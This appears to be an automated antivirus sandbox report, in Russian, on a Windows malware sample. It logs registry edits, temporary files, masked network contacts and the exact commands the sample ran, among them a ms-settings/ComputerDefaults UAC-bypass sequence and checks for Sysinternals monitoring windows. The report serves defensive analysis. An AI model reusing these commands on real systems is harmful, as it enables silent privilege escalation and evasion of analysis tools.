Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\Software\Classes\ms-settings\Shell\Open\command] '' = 'wscript.exe %TEMP%\948384.vbs'
Вредоносные функции
Создает и запускает на исполнение
- '' (загружен из сети Интернет)
Ищет следующие окна с целью
обнаружения утилит для анализа:
- ClassName: 'FilemonClass', WindowName: ''
- ClassName: '', WindowName: 'File Monitor - Sysinternals: www.sysinternals.com'
- ClassName: 'PROCMON_WINDOW_CLASS', WindowName: ''
- ClassName: '', WindowName: 'Process Monitor - Sysinternals: www.sysinternals.com'
- ClassName: 'RegmonClass', WindowName: ''
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\tp_1727713019040.exe
- %TEMP%\948384.vbs
Удаляет следующие файлы
- %TEMP%\948384.vbs
- %TEMP%\tp_1727713019040.exe
Сетевая активность
Подключается к
- 'te####bshiers.top':443
- 'ra#.####ubusercontent.com':443
TCP
Другие
- 'te####bshiers.top':443
- 'ra#.####ubusercontent.com':443
UDP
- DNS ASK te####bshiers.top
- DNS ASK ra#.####ubusercontent.com
Другое
Ищет следующие окна
- ClassName: 'Registry Monitor - Sysinternals: www.sysinternals.com' WindowName: ''
- ClassName: '18467-41' WindowName: ''
Создает и запускает на исполнение
- '%TEMP%\tp_1727713019040.exe'
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c start %TEMP%\tp_1727713019040.exe
- '<SYSTEM32>\cmd.exe' reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
- '<SYSTEM32>\reg.exe' delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
- '<SYSTEM32>\cmd.exe' reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe %TEMP%\948384.vbs" /f & reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\O...
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe %TEMP%\948384.vbs" /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
- '<SYSTEM32>\cmd.exe' start /B ComputerDefaults.exe
- '<SYSTEM32>\computerdefaults.exe'
- '<SYSTEM32>\cmd.exe' del /f %TEMP%\948384.vbs
- '<SYSTEM32>\cmd.exe' reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\RDAVd65V54S3cBk40QLMX005" /v name /t REG_SZ /d "s8us6yewnfpbxeozsly0averomtyzb:RDAVd65V54S3cBk40QLMX005:" /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\SOFTWARE\Classes\RDAVd65V54S3cBk40QLMX005" /v name /t REG_SZ /d "s8us6yewnfpbxeozsly0averomtyzb:RDAVd65V54S3cBk40QLMX005:" /f
- '<SYSTEM32>\cmd.exe' reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe %TEMP%\178733.vbs" /f & reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\O...
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe %TEMP%\178733.vbs" /f
- '<SYSTEM32>\cmd.exe' del /f %TEMP%\178733.vbs
